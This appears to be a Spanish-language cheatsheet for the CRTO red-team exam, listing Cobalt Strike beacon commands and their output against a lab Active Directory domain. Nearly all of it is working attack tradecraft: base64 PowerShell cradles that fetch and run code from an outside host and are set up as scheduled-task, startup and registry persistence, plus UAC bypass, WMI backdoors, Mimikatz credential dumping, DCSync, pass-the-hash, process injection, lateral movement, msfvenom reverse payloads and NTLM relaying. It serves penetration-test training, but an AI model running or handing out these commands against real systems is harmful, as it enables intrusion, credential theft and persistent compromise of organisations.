# Cheatsheet CRTO
##### Conexión a Cobalt Strike:
`attacker@ubuntu ~/cobaltstrike> sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile`
##### Conectar un beacon peer 2 peer:
```
beacon> connect <target> <ip>
```
##### Detener alguna acción:
```
beacon> jobs
Jobs:
JID PID Description
--- --- -----------
6 0 keystroke logger
beacon> jobkill 6
```
### Importante antes del Lab
Configurar CS como servicio para que la config esté al reiniciar la VM, implica que los archivos hosteados en el servidor también deben estar disponibles desde antes de los listener los soliciten
### Enumeración
##### Tomar screenshots:
```
beacon> screenshot o printscreen o screenwatch
```
##### Seatbelt
```
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe -group=system
```
##### Keylogger
```
beacon> keylogger
[+] received keystrokes from *Untitled - Notepad by bfarmer
```
##### Capturar clipboard (copy/paste)
```
beacon> clipboard
[*] Tasked beacon to get clipboard contents
Clipboard Data (8 bytes):
Sup3rman
```
##### Listar sesiones en el equipo
```
beacon> net logons
Logged on users at \\localhost:
DEV\bfarmer
DEV\jking
DEV\WKSTN-2$
```
### Persistencia
#### Tareas Programadas
##### Generar Payload powershell en b64
```
PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
```
##### Generar Payload para powershell en b64 desde Linux
```
ubuntu@DESKTOP-3BSK7NO ~> set str 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
ubuntu@DESKTOP-3BSK7NO ~> echo -en $str | iconv -t UTF-16LE | base64 -w 0
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
```
##### Ejecutar SharPersist para que cree la tarea programada
```
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly
```
#### Carpeta Inicio
##### Ejecutar SharPersist para que cree el archivo a ejeucutar al inicio del sistema
```
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add
```
#### AutoRun en el Registro
##### Se carga el archivo y SharPersist modifica el registro para qeu ejecute al inicio.
```
beacon> cd C:\ProgramData
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add
```
### PrivEsc
*Nota: usar beacon TCP para privesc*
##### Cargar SharpUp para buscar servicios con paths vulnerables
```
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath
beacon> cd C:\Program Files\Vulnerable Services
beacon> ls
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
5kb fil 02/23/2021 15:04:13 Service 3.exe
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> run sc stop VulnService1
beacon> run sc start VulnService1
beacon> connect localhost 4444 //para establecer la conexión luego
```
##### Cargar SharpUp para buscar servicios *'modificables'*
```
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
```
##### Cargar SharpUp para buscar servicios con permisos vulnerables
En el ejemplo modificar el path de donde se ejecuta el servicio:
*Nota: Uso de script externo: [Get-ServiceAcl.ps1](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/)
```
beacon> powershell-import C:\Tools\Get-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access
beacon> run sc qc VulnService2 //Validar el path usado por el servicio
beacon> mkdir C:\Temp
beacon> cd C:\Temp
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe
beacon> run sc qc VulnService2 // se vuelve a validar el cambio
beacon> run sc stop VulnService2
beacon> run sc start VulnService2
```
##### UAC Bypass
```
beacon> elevate uac-schtasks tcp-local
[*] Tasked Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444) in a high integrity context
[+] established link to child beacon: 10.10.123.102
```
### Persistencia con Altos Privilegios
*Nota: Uso exclusivo de beacons P2P o DNS porque los procesos que van con permisos de SYSTEM no pasan los proxy Web*
##### Crear un servicio
*Nota: el servicio se iniciará al reinicio del equipo*
```
beacon> cd C:\Windows
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe legit-svc.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add
[*] INFO: Adding service persistence
[*] INFO: Command: C:\Windows\legit-svc.exe
[*] INFO: Command Args:
[*] INFO: Service Name: legit-svc
[+] SUCCESS: Service persistence added
```
##### WMI Event Suscriptions
*Nota: En el ejemplo el payload DNS se ejecuta al abrir el notepad*
```
beacon> cd C:\Windows
beacon> upload C:\Payloads\dns_x64.exe
beacon> powershell-import C:\Tools\PowerLurk.ps1
beacon> powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe
```
### Obtención de Credenciales
#### Mimikatz
*Nota: estos comandos requieren altos privilegios en la máquina*
#### Dumpear la SAM
```
beacon> mimikatz !lsadump::sam
```
##### Dumpear cred en texto claro
```
beacon> mimikatz !sekurlsa::logonpasswords
Ver en CS: View > Credentials
```
##### Dumpear llaves de cifrado de Kerberos
*Nota: el que sirve es AES256 *
```
beacon> mimikatz !sekurlsa::ekeys
Agregar a CS --> View > Credentials > Add.
```
##### Dumpear cred de dominio en cache
*Nota: si sale el Hash solo sirve para crackear, ya que no es el NTLM
```
beacon> mimikatz !lsadump::cache
formato hashcat: $DCC2$<iterations>#<username>#<hash>
```
##### Extraer Tickets de Kerberos
*Nota: el comando triage extraerá los tickets de la sesión actual, si se tiene privilegios de todas las sesiones del equipo*
*El resultado es en b64*
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x7049f /service:krbtgt /nowrap
ticket de un usuario específico, con la opción luid:<valor> se indica cuál usuario
```
##### DSync
*Nota: la cuenta lamb es de un domain admin*
```
beacon> make_token DEV\nlamb F3rrari
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
```
### Domain Recon
#### PowerView
```
beacon> powershell Get-Domain //Da info del dominio, nombre, forest y los DC
Forest : cyberbotic.io
DomainControllers : {dc-2.dev.cyberbotic.io}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent : cyberbotic.io
PdcRoleOwner : dc-2.dev.cyberbotic.io
RidRoleOwner : dc-2.dev.cyberbotic.io
InfrastructureRoleOwner : dc-2.dev.cyberbotic.io
Name : dev.cyberbotic.io
```
```
beacon> powershell Get-DomainController | select Forest, Name, OSVersion | fl //devuelve los DC
Forest : cyberbotic.io
Name : dc-2.dev.cyberbotic.io
OSVersion : Windows Server 2022 Datacenter
```
```
beacon> powershell Get-ForestDomain //devuelve todos los dominios dentro del forest
Forest : cyberbotic.io
DomainControllers : {dc-1.cyberbotic.io}
Children : {dev.cyberbotic.io}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : dc-1.cyberbotic.io
RidRoleOwner : dc-1.cyberbotic.io
InfrastructureRoleOwner : dc-1.cyberbotic.io
Name : cyberbotic.io
Forest : cyberbotic.io
DomainControllers : {dc-2.dev.cyberbotic.io}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent : cyberbotic.io
PdcRoleOwner : dc-2.dev.cyberbotic.io
RidRoleOwner : dc-2.dev.cyberbotic.io
InfrastructureRoleOwner : dc-2.dev.cyberbotic.io
Name : dev.cyberbotic.io
```
```
beacon> powershell Get-DomainPolicyData | select -expand SystemAccess //password policy del dominio
MinimumPasswordAge : 1
MaximumPasswordAge : 42
MinimumPasswordLength : 7
PasswordComplexity : 1
PasswordHistorySize : 24
```
*Nota: al agregar el -Identity permite enumerar a un solo usuario, sin ese parámetro devolvería todos los usuarios del dominio*
```
beacon> powershell Get-DomainUser -Identity jking -Properties DisplayName, MemberOf | fl //enumera un usuario
```
```
beacon> powershell Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName //devuelve todos los equipos del dominio
```
```
beacon> powershell Get-DomainOU -Properties Name | sort -Property Name //devuelve todas las OU del dominio
name
----
Domain Controllers
File Servers
Servers
```
```
beacon> powershell Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName //devuelve los grupos del dominio
samaccountname
--------------
Domain Admins
Key Admins
DnsAdmins
MS SQL Admins
```
```
beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName //devuelve los miembreos de un equipo
MemberDistinguishedName
-----------------------
CN=Nina Lamb,CN=Users,DC=dev,DC=cyberbotic,DC=io
CN=Administrator,CN=Users,DC=dev,DC=cyberbotic,DC=io
```
*Nota: Para enumerar de una máquina en particular agregar el parámtro -ComputerIdentity *
```
beacon> powershell Get-DomainGPO -Properties DisplayName | sort -Property DisplayName //enumera las GPO
```
```
beacon> powershell Get-DomainGPOLocalGroup | select GPODisplayName, GroupName //retorna las gpo que modifican grupos locales
```
```
beacon> powershell Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl //enumera las máquinas donde un usuario o grupo de dominio es miembro de un grupo local especial..
ObjectName : Support Engineers
GPODisplayName : Server Admins
ContainerName : {OU=Servers,DC=dev,DC=cyberbotic,DC=io}
ComputerName : {web.dev.cyberbotic.io, sql-2.dev.cyberbotic.io, fs.dev.cyberbotic.io}
ObjectName : Support Engineers
GPODisplayName : Workstation Admins
ContainerName : {OU=Workstations,DC=dev,DC=cyberbotic,DC=io}
ComputerName : {wkstn-1.dev.cyberbotic.io, wkstn-2.dev.cyberbotic.io}
```
```
beacon> powershell Get-DomainTrust //devuelve los dominios de confianza
```
#### SharpView
*Nota: básicamente igual a powerview pero escrito en C#*
```
beacon> execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-Domain
```
#### ADSearch
Básicamente son consultas de LDAP al dominio.
*Nota: con el parámetro --json devuelve la query con formato json*
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "objectCategory=user" //busca todos los objectos del tipo usuarios
[*] TOTAL NUMBER OF SEARCH RESULTS: 10
[+] cn : Administrator
[+] cn : Guest
[+] cn : krbtgt
[+] cn : CYBER$
[+] cn : Bob Farmer
```
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))" //busca todos los objetos del tipo grupo que contenga la palabra admin al final
```
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --attributes cn,member
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[+] cn : MS SQL Admins
[+] member : CN=Developers,CN=Users,DC=dev,DC=cyberbotic,DC=io
```
### User Impersonation
Hacer uso de hash NTLM, hash AES256 y Ticket de Kerberos para impersonar usuarios.
#### Pass The Hash
*Nota: se usa el hash NTLM para el ataque pass the hash*
```
beacon> pth DEV\jking 59fc0f884922b4ce376051134c71e22c
Para volver al estado original, usar el comando **rev2self**
```
#### Pass The Ticket
Permite agregar tickets de kerberos a una sesión existente (con su LUID asociado), ya sea a una sesión nueva o que ya se tenga.
Pasos:
1. Crear una sesión en blanco "de sacrificio" a la cual se le pueda pasar el TGT (porque cada sesión solo soporta un TGT). Se usa rubeus para generar esta nueva sesión
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
[*] Action: Create Process (/netonly)
[*] Using random username and password.
[*] Showing process : False
[*] Username : GJB9A2GP
[*] Domain : VPY1XQRP
[*] Password : R4ABN1K3
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4748
[+] LUID : 0x798c2c
```
*Nota: se puede usar también el nombre del usuario y una password falsa, a modo de pasar más desapercibido ej*
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123
```
2. Con la nueva sesión "vacía" creada se le puede pasar el ticket usando el ticket del usuario extraído en base64 y pasándole como argumento el /luid de la sesión nueva:
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP
[*] Action: Import Ticket
[*] Target LUID: 0x798c2c
[+] Ticket successfully imported!
```
3. Ahora se puede visualizar la sesión con el comando triage de rubeus y con ello se puede impersonar el proceso creado con el comando steal_token pasándole el PID correcto del inicio de sesión:
```
beacon> steal_token 4748
```
5. Para volver al estado inicial, se mata el proceso:
```
beacon> rev2self
beacon> kill 4748
```
#### Over Pass The Hash
Permite solicitar un TGT para un usuario usando el NTLM o AES; con ello es posible obtener una sesión con privilegios, ya que solicitar un ticket no necesita permiso de administrador. Este ticket luego se puede aprovechar con la técnica Pass the Ticket
```
Usando NTLM
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 59fc0f884922b4ce376051134c71e22c
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\jking'
[*] Using domain controller: 10.10.122.10:88
[09/01 10:24:04] [+] received output:
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmj [...snip...] 5pbw==
ServiceName : krbtgt/dev.cyberbotic.io
ServiceRealm : DEV.CYBERBOTIC.IO
```
```
Usando AES256
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap
```
#### Token Impersonation
Sirve cuando se tiene un usuario que ejecuta un proceso se puede impersonar dicho token asociado.
*Nota: si el proceso es finalizado por el usuario se perderá el acceso*
1. Listar los procesos de la máquina:
```
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
4464 392 mmc.exe x64 0 DEV\jking
```
2. Robar el token pasándole como parámetro el PID del proceso indicado
```
beacon> steal_token 4464
```
#### Process Injection
Permite inyectar shellcode de forma arbitraria a un proceso arbitrario. Obviamente se aplica solo a los procesos que el usuario actual tiene privilegios; de ser administrador se puede realizar en cualquier proceso.
Se puede hacer con `shinject` o `inject`; el primero para inyectar código de un binario de la máquina del atacante, el segundo para inyectar un beacon completo para el listener específico.
```
beacon> inject 4464 x64 tcp-local
[*] Tasked beacon to inject windows/beacon_bind_tcp (127.0.0.1:4444) into 4464 (x64)
[+] established link to child beacon: 10.10.123.102
se le pasa de parámtro el pid del proceso, la arquitectura y el nombre del listener
```
### Movimiento Lateral
CS utiliza 3 métodos propios para movimiento lateral:
1. Jump: `jump [method] [target] [listener]`
```
beacon> jump
```
2. Remote-Exec: `remote-exec [method] [target] [command].`
*Nota: remote-exec sirve para ejecutar comandos en un equipo remoto en resumen*
```
beacon> remote-exec
```
3. Execute-assembly: Este comando permite mayor control sobre lo que se ahce, ya que se puede cargar otros programas por ej. Seatbelt para realizar enumeración:
```
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe OSInfo -ComputerName=web
Hostname : web
Domain Name : dev.cyberbotic.io
ProductName : Windows Server 2022 Datacenter
EditionID : ServerDatacenter
ReleaseId : 2009
Build : 20348
BuildBranch : fe_release
CurrentMajorVersionNumber : 10
CurrentVersion : 6.3
Architecture : AMD6
```
#### Windows Remote Management
*Nota: winrm y winrm64 para arquitectuta de 32 y 64 respectivamente*.
En el ejemplo se usa jump para ejecutar el comando en un equipo remoto y de protocolo usa smb ya que se mezcla con el tráfico normal dentro de la red de windows
```
beacon> jump winrm64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web.dev.cyberbotic.io via WinRM
[+] host called home, sent: 225172 bytes
[+] established link to child beacon: 10.10.122.30
```
#### Psexec
*Nota: psexec y psexec64 para arquitectuta de 32 y 64 respectivamente*.
Funcioa cargando un binario al sistema objetivo y luego genera un servicio para ejecutar el binario. En este caso se ejecutan como SYSTEM
```
beacon> jump psexec64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (\\web\ADMIN$\768870c.exe)
Started service 768870c on web.dev.cyberbotic.io
[+] established link to child beacon: 10.10.122.30
```
Otro ejemplo es psexec_psh el cual no copia un binario, sino que ejecuta un one liner en powershell de 32 bits.
```
beacon> jump psexec_psh web smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (PSH)
Started service bd119dd on web
[+] established link to child beacon: 10.10.122.30
```
### Windows Management Instrumentation
Se utiliza en conjunto con el comando `remote-exec` donde usualmente se sube el binario (payload) al equipo y wmi para ejecutarlo. El paso a paso:
1. Se navega a la carpeta
2. Se sube el binario
3. Se ejecuta y se genera el servicio
4. Se linkea el proceso a la máquina
```
beacon> cd \\web.dev.cyberbotic.io\ADMIN$
beacon> upload C:\Payloads\smb_x64.exe
beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe
Started process 3280 on web.dev.cyberbotic.io
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30
```
Si aparece el error **CoInitializeSecurity already called. Thread token (if there is one) may not get used** es porque es necesario ejecutar WMI desde otro proceso, por ejemplo con SharpWMI:
```
beacon> make_token DEV\jking Qwerty123
[+] Impersonated DEV\bfarmer
beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe
CoInitializeSecurity already called. Thread token (if there is one) may not get used
[-] Could not connect to web.dev.cyberbotic.io: 5
beacon> execute-assembly C:\Tools\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:\Windows\smb_x64.exe"
[*] Host : web.dev.cyberbotic.io
[*] Command : C:\Windows\smb_x64.exe
[*] Creation of process returned : 0
[*] Process ID : 3436
```
#### DCOM
Para interactuar con el protocolo DCOM es necesario usar una tool externa a CS
```
beacon> powershell-import C:\Tools\Invoke-DCOM.ps1
beacon> powershell Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:\Windows\smb_x64.exe
Completed
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30
```
### Session Passing
Permite pasar una nueva sesión de C2 de un payload/listener a otro o incluso a otro framework de C2 tal como msf.
#### Beacon Passing
Permite generar un proceso de x86 o x64 e inyectar shellcode específico para un listener, en el ejemplo se tiene un listener del tipo DNS el cual se quiere mantener solo para el check; bajo este beacon se spawnea uno nuevo en un listener http para trabajar desde este último.
```
beacon> spawn x64 http
```
#### Foreign Listener
Sirve para payloads del tipo stage de Meterpreter y con ello generar una conexión a mterpreter vía HTTP o HTTPS.
Pasos:
1. Iniciar msf y crear un listener
2. Crear un nuevo listener en CS del tipo Foreign HTTP asociando el puerto e IP indicada en msf
3. Es posible ejecutar comandos tales como spawn, jump o elevate
```
attacker@ubuntu ~> sudo msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST ens5
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > run
[*] Meterpreter session 1 opened (10.10.5.50:8080 -> 127.0.0.1) at 2022-09-05 11:29:54 +0000
```
#### Spawn & Inject
Se tienen dos comandos para session passing `shinject` para inyectar el shellcode a un proceso existinte y `shspawn` para crear un nuevo proceso.
Pasos:
1. Usar un payload del tipo stageless meterpreter
2. Generar el payload con msfvenom usando WSL y almacenar en el directorio de Payloads
3. Con shspawn generar el proceso e inyectar el payload
```
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
msf6 exploit(multi/handler) > exploit
[*] Started HTTP reverse handler on http://10.10.5.50:8080
ubuntu@DESKTOP-3BSK7NO ~> msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.5.50 LPORT=8080 -f raw -o /mnt/c/Payloads/msf_http_x64.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201820 bytes
Saved as: /mnt/c/Payloads/msf_http_x64.bin
beacon> shspawn x64 C:\Payloads\msf_http_x64.bin
```
### Pivoting
#### SOCK Proxies
Un sock procy permite el intercambio de paquetes de red entre cliente y servidor. Útil para cuando se quiere utilizar herramientas externas y tunelear con el C2; tales como Impacket.
Pasos:
1. Usar el comando sock en el beacon que se quiere usar de pivote
```
beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging
```
#### Proxychains
Actúa como wrapper para tunelear el tráfico sobre un proxy sock.
Pasos:
1. Modificar la configuración de proxychains para que apunte al proxy de CS
2. Usar proxychains como de costumbre (en el ejemplo usar nmap) `proxychains [tool] [tool args]`
```
attacker@ubuntu ~> sudo vim /etc/proxychains.conf
socks5 127.0.0.1 1080 socks_user socks_password
attacker@ubuntu ~> proxychains nmap -n -Pn -sT -p445,3389,4444,5985 10.10.122.10
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-05 13:31 UTC
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:3389-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:445-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>>-10.10.122.10:4444-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:5985-<><>>-OK
Nmap scan report for 10.10.122.10
Host is up (0.061s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
4444/tcp closed krb524
5985/tcp open wsman
Desde WSL:
ubuntu@DESKTOP-3BSK7NO ~ > proxychains wmiexec.py DEV/jking@10.10.122.30
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
[*] SMBv3.0 dialect used
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:135-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:49667-<><>-OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
dev\jking
C:\>hostname
web
```
#### Reverse Port Forward
Permite redirigir el tráfico entrante por un puerto específico a otra IP y puerto. En algunos casos permite evadir restricciones de navegación, segmentación y firewall.
Para crear un túnel vía CS en el ejemplo entre Domain Controller 2 (sin acceso a internet) y Workstation 2, la cual si tiene acceso a internet hacia el team server.
Pasos:
1. Crear la regla en el fw para poder navegar
2. Crear el reverse port forward para enviar tráfico desde Domain Controller 2 y el team server
3. Bindea el puerto 8080 del workstation 2
4. Desde DC2 ya se puede acceder al team server
```
beacon> powershell New-NetFirewallRule -DisplayName "Test Rule" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080
beacon> powershell Remove-NetFirewallRule -DisplayName "Test Rule"
beacon> rportfwd 8080 127.0.0.1 80
[+] started reverse port forward on 8080 to 127.0.0.1:80
beacon> run netstat -anp tcp
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING
PS C:\Users\Administrator> iwr -Uri http://wkstn-2:8080/a
StatusCode : 200
```
#### NTLM Relaying
Para hacerlo con CS y redirigir el tráfico se necesita lo siguiente:
1. Un driver para redirigir el tráfico destinado al 445 hacia otro puerto
2. Un reverse port forward en el puerto al cual el tráfico SMB está siendo redirigido a modo de tunelear el tráfico SMB hacia el team server
3. Tener la herramienta escuchando en el servidor, en este caso ntlmrelayx
4. Un proxy SOCK para permitir que ntlmrelayx envíe el tráfico de vuelta a la red objetivo
NTLMRelayx: (el -c permite ejecutar un comando arbitrario luego que la autenticación sea exitosa, la IP corresponde al DC2 en la red del lab, el comando encodeado es un link de descarga en powershell, y /b es un payload SMB)
```
attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t smb://10.10.122.10 -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAyADMALgAxADAAMgA6ADgAMAA4ADAALwBiACIAKQA='
```
PortBender (para realizar este ataque es necesario ser admin ya que portbender es un driver)
Desde Cobalt Strike > Script Manager cargar PortBender.cna
```
beacon> run hostname
wkstn-2
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> cd C:\Windows\system32\drivers
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> help PortBender
Redirect Usage: PortBender redirect FakeDstPort RedirectedPort
Backdoor Usage: PortBender backdoor FakeDstPort RedirectedPort Password
Examples:
PortBender redirect 445 8445
PortBender backdoor 443 3389 praetorian.antihacker
beacon> PortBender redirect 445 8445
[+] Launching PortBender module using reflective DLL injection
Initializing PortBender in redirector mode
Configuring redirection of connections targeting 445/TCP to 8445/TCP
```
Reverse Port Forward:
```
Para el ntlmrelayx
beacon> rportfwd 8445 127.0.0.1 445
[+] started reverse port forward on 8445 to 127.0.0.1:445
Para el payload SMB
beacon> rportfwd 8080 127.0.0.1 80
[+] started reverse port forward on 8080 to 127.0.0.1:80
```
SOCK Proxy:
```
Para devolver el tráfico del ntlmrelayx a la red interna
beacon> socks 1080 socks5 disableNoAuth socks_user socks_password
[+] started SOCKS5 server on: 1080
```
Linkear la sesión una vez que un usuario haya interactuado con la máquina objetivo:
```
beacon> link dc-2.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.10
```
### Data Protection API
#### Credential Manager
Las cred almacenadas se ubican en
`C:\Users\<usuario>\AppData\Local\Microsoft\Credentials`
Para enumerar los vault del usuario:
```
beacon> run vaultcmd /list
Currently loaded vaults:
Vault: Web Credentials
Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Vault: Windows Credentials
Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault
beacon> run vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
Identity: SQL-2\Administrator
Hidden: No
Roaming: No
Property (schema element id,value): (100,2)
```
Con Seatbelt:
```
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault
====== WindowsVault ======
